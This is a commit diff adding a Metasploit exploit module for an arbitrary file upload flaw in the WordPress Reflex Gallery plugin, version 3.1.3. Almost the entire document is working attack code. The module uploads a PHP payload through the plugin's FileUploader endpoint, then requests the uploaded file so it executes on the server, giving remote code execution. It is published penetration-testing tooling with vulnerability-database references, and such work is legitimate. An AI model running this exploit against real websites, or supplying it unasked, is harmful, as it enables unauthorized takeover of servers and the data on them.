Land rapid7#5163, WordPress Reflex Gallery Plugin File Upload

Author: firefart

modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb

@@ -0,0 +1,84 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::HTTP::Wordpress
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Wordpress Reflex Gallery Upload Vulnerability',
+      'Description'    => %q{
+        This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
+        version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
+      },
+      'Author'         =>
+        [
+          'Unknown', # Vulnerability discovery
+          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['EDB', '36374'],
+          ['OSVDB', '88853'],
+          ['WPVDB', '7867']
+        ],
+      'Privileged'     => false,
+      'Platform'       => 'php',
+      'Arch'           => ARCH_PHP,
+      'Targets'        => [['Reflex Gallery 3.1.3', {}]],
+      'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
+      'DefaultTarget'  => 0)
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('reflex-gallery', '3.1.4')
+  end
+
+  def exploit
+    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
+
+    data = Rex::MIME::Message.new
+    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
+    post_data = data.to_s
+
+    time = Time.new
+    year = time.year.to_s
+    month = "%02d" % time.month
+
+    res = send_request_cgi({
+      'uri'       => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
+      'method'    => 'POST',
+      'vars_get'  => {
+        'Year'    => "#{year}",
+        'Month'   => "#{month}"
+      },
+      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
+      'data'      => post_data
+    })
+
+    if res
+      if res.code == 200 && res.body =~ /success|#{php_pagename}/
+        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
+        register_files_for_cleanup(php_pagename)
+      else
+        fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
+      end
+    else
+      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
+    end
+
+    print_status("#{peer} - Calling payload...")
+    send_request_cgi(
+      'uri'       => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
+    )
+  end
+end